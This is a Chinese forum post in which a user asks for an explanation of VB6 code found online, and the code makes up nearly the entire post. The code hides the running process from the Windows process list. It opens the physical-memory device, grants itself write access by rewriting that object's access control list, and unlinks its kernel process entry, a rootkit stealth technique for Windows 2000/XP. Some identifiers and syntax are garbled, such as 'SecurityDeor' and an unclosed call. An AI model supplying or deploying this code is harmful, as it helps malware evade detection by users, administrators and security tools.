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magic7004

金虫 (职业作家)

应助: 0 (幼儿园)
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在线: 156.2小时
虫号: 482895
注册: 2007-12-26
性别: GG
专业: 化学工程

[交流] 【求助】谁能看懂这坨咚咚(VB6)，帮忙解释下

网上找到的vb6代码，可以在进程列表中隐藏进程，可是看不懂。谁能看明白帮忙解释下，谢啦。

Option Explicit

Private Const STATUS_INFO_LENGTH_MISMATCH = &HC0000004
Private Const STATUS_ACCESS_DENIED = &HC0000022
Private Const STATUS_INVALID_HandLE = &HC0000008
Private Const ERROR_SUCCESS = 0&
Private Const SECTION_MAP_WRITE = &H2
Private Const SECTION_MAP_READ = &H4
Private Const READ_CONTROL = &H20000
Private Const WRITE_DAC = &H40000
Private Const NO_INHERITANCE = 0
Private Const DACL_SECURITY_INFORMATION = &H4

Private Type IO_STATUS_BLOCK
Status As Long
Information As Long
End Type

Private Type UNICODE_STRING
Length As Integer
MaximumLength As Integer
Buffer As Long
End Type

Private Const OBJ_INHERIT = &H2
Private Const OBJ_PERMANENT = &H10
Private Const OBJ_EXCLUSIVE = &H20
Private Const OBJ_CASE_INSENSITIVE = &H40
Private Const OBJ_OPENIF = &H80
Private Const OBJ_OPENLINK = &H100
Private Const OBJ_KERNEL_HandLE = &H200
Private Const OBJ_VALID_ATTRIBUTES = &H3F2

Private Type OBJECT_ATTRIBUTES
Length As Long
RootDirectory As Long
ObjectName As Long
Attributes As Long
SecurityDeor As Long
SecurityQualityOfService As Long
End Type

Private Type ACL
AclRevision As Byte
Sbz1 As Byte
AclSize As Integer
AceCount As Integer
Sbz2 As Integer
End Type

Private Enum ACCESS_MODE
NOT_USED_ACCESS
GRANT_ACCESS
SET_ACCESS
DENY_ACCESS
REVOKE_ACCESS
SET_AUDIT_SUCCESS
SET_AUDIT_FAILURE
End Enum

Private Enum MULTIPLE_TRUSTEE_OPERATION
NO_MULTIPLE_TRUSTEE
TRUSTEE_IS_IMPERSONATE
End Enum

Private Enum TRUSTEE_FORM
TRUSTEE_IS_SID
TRUSTEE_IS_NAME
End Enum

Private Enum TRUSTEE_TYPE
TRUSTEE_IS_UNKNOWN
TRUSTEE_IS_USER
TRUSTEE_IS_GROUP
End Enum

Private Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As MULTIPLE_TRUSTEE_OPERATION
TrusteeForm As TRUSTEE_FORM
TrusteeType As TRUSTEE_TYPE
ptstrName As String
End Type

Private Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As ACCESS_MODE
grfInheritance As Long
TRUSTEE As TRUSTEE
End Type

Private Type AceArray
List() As EXPLICIT_ACCESS
End Type

Private Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0
SE_FILE_OBJECT
SE_SERVICE
SE_PRINTER
SE_REGISTRY_KEY
SE_LMSHARE
SE_KERNEL_OBJECT
SE_WINDOW_OBJECT
SE_DS_OBJECT
SE_DS_OBJECT_ALL
SE_PROVIDER_DEFINED_OBJECT
SE_WMIGUID_OBJECT
End Enum

Private Declare Function SetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any) As Long
Private Declare Function GetSecurityInfo Lib "advapi32.dll" (ByVal Handle As Long, ByVal ObjectType As SE_OBJECT_TYPE, ByVal SecurityInfo As Long, ppsidOwner As Long, ppsidGroup As Long, ppDacl As Any, ppSacl As Any, ppSecurityDeor As Long) As Long

Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias "SetEntriesInAclA" (ByVal cCountOfExplicitEntries As Long, pListOfExplicitEntries As EXPLICIT_ACCESS, ByVal OldAcl As Long, NewAcl As Long) As Long
Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias "BuildExplicitAccessWithNameA" (pExplicitAccess As EXPLICIT_ACCESS, ByVal pTrusteeName As String, ByVal AccessPermissions As Long, ByVal AccessMode As ACCESS_MODE, ByVal Inheritance As Long)

Private Declare Sub RtlInitUnicodeString Lib "NTDLL.DLL" (DestinationString As UNICODE_STRING, ByVal SourceString As Long)
Private Declare Function ZwOpenSection Lib "NTDLL.DLL" (SectionHandle As Long, ByVal DesiredAccess As Long, ObjectAttributes As Any) As Long
Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Any) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function MapViewOfFile Lib "kernel32" (ByVal hFileMappingObject As Long, ByVal dwDesiredAccess As Long, ByVal dwFileOffsetHigh As Long, ByVal dwFileOffsetLow As Long, ByVal dwNumberOfBytesToMap As Long) As Long
Private Declare Function UnmapViewOfFile Lib "kernel32" (lpBaseAddress As Any) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function GetVersionEx Lib "kernel32" Alias "GetVersionExA" (LpVersionInformation As OSVERSIONINFO) As Long

Private Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Private verinfo As OSVERSIONINFO

Private g_hNtDLL As Long
Private g_pMapPhysicalMemory As Long
Private g_hMPM As Long
Private aByte(3) As Byte

Public Sub HideCurrentProcess()
'在进程列表中隐藏当前应用程序进程

Dim thread As Long, process As Long, fw As Long, bw As Long
Dim lOffsetFlink As Long, lOffsetBlink As Long, lOffsetPID As Long

verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
      If verinfo.dwMajorVersion = 5 Then
         Select Case verinfo.dwMinorVersion
            Case 0
                  lOffsetFlink = &HA0
                  lOffsetBlink = &HA4
                  lOffsetPID = &H9C
            Case 1
                  lOffsetFlink = &H88
                  lOffsetBlink = &H8C
                  lOffsetPID = &H84
         End Select
      End If
End If
End If

If OpenPhysicalMemory <> 0 Then
thread = GetData(&HFFDFF124)
process = GetData(thread + &H44)
fw = GetData(process + lOffsetFlink)
bw = GetData(process + lOffsetBlink)
SetData fw + 4, bw
SetData bw, fw
CloseHandle g_hMPM
End If
End Sub

Private Sub SetPhyscialMemorySectionCanBeWrited(ByVal hSection As Long)

Dim pDacl As Long
Dim pNewDacl As Long
Dim pSD As Long
Dim dwRes As Long
Dim ea As EXPLICIT_ACCESS

GetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, pDacl, 0, pSD

ea.grfAccessPermissions = SECTION_MAP_WRITE
ea.grfAccessMode = GRANT_ACCESS
ea.grfInheritance = NO_INHERITANCE
ea.TRUSTEE.TrusteeForm = TRUSTEE_IS_NAME
ea.TRUSTEE.TrusteeType = TRUSTEE_IS_USER
ea.TRUSTEE.ptstrName = "CURRENT_USER" & vbNullChar

SetEntriesInAcl 1, ea, pDacl, pNewDacl

SetSecurityInfo hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, 0, 0, ByVal pNewDacl, 0

CleanUp:
LocalFree pSD
LocalFree pNewDacl
End Sub

Private Function OpenPhysicalMemory() As Long

Dim Status As Long
Dim PhysmemString As UNICODE_STRING
Dim Attributes As OBJECT_ATTRIBUTES

RtlInitUnicodeString PhysmemString, StrPtr("\Device\PhysicalMemory"

Attributes.Length = Len(Attributes)
Attributes.RootDirectory = 0
Attributes.ObjectName = VarPtr(PhysmemString)
Attributes.Attributes = 0
Attributes.SecurityDeor = 0
Attributes.SecurityQualityOfService = 0

Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
If Status = STATUS_ACCESS_DENIED Then
Status = ZwOpenSection(g_hMPM, READ_CONTROL Or WRITE_DAC, Attributes)
SetPhyscialMemorySectionCanBeWrited g_hMPM
CloseHandle g_hMPM
Status = ZwOpenSection(g_hMPM, SECTION_MAP_READ Or SECTION_MAP_WRITE, Attributes)
End If

Dim lDirectoty As Long
verinfo.dwOSVersionInfoSize = Len(verinfo)
If (GetVersionEx(verinfo)) <> 0 Then
If verinfo.dwPlatformId = 2 Then
      If verinfo.dwMajorVersion = 5 Then
         Select Case verinfo.dwMinorVersion
            Case 0
                  lDirectoty = &H30000
            Case 1
                  lDirectoty = &H39000
         End Select
      End If
End If
End If

If Status = 0 Then
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, 4, 0, lDirectoty, &H1000)
If g_pMapPhysicalMemory <> 0 Then OpenPhysicalMemory = g_hMPM
End If
End Function

Private Function LinearToPhys(BaseAddress As Long, addr As Long) As Long
Dim VAddr As Long, PGDE As Long, PTE As Long, PAddr As Long
Dim lTemp As Long

VAddr = addr
CopyMemory aByte(0), VAddr, 4
lTemp = Fix(ByteArrToLong(aByte) / (2 ^ 22))

PGDE = BaseAddress + lTemp * 4
CopyMemory PGDE, ByVal PGDE, 4

If (PGDE And 1) <> 0 Then
lTemp = PGDE And &H80
If lTemp <> 0 Then
      PAddr = (PGDE And &HFFC00000) + (VAddr And &H3FFFFF)
Else
      PGDE = MapViewOfFile(g_hMPM, 4, 0, PGDE And &HFFFFF000, &H1000)
      lTemp = (VAddr And &H3FF000) / (2 ^ 12)
      PTE = PGDE + lTemp * 4
      CopyMemory PTE, ByVal PTE, 4

      If (PTE And 1) <> 0 Then
         PAddr = (PTE And &HFFFFF000) + (VAddr And &HFFF)
         UnmapViewOfFile PGDE
      End If
End If
End If

LinearToPhys = PAddr
End Function

Private Function GetData(addr As Long) As Long
Dim phys As Long, tmp As Long, ret As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, 4, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
ret = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ret, ByVal ret, 4

UnmapViewOfFile tmp
GetData = ret
End If
End Function

Private Function SetData(ByVal addr As Long, ByVal data As Long) As Boolean
Dim phys As Long, tmp As Long, x As Long

phys = LinearToPhys(g_pMapPhysicalMemory, addr)
tmp = MapViewOfFile(g_hMPM, SECTION_MAP_WRITE, 0, phys And &HFFFFF000, &H1000)
If tmp <> 0 Then
x = tmp + ((phys And &HFFF) / (2 ^ 2)) * 4
CopyMemory ByVal x, data, 4

UnmapViewOfFile tmp
SetData = True
End If
End Function

Private Function ByteArrToLong(inByte() As Byte) As Double
Dim I As Integer
For I = 0 To 3
ByteArrToLong = ByteArrToLong + inByte(I) * (&H100 ^ I)
Next I
End Function

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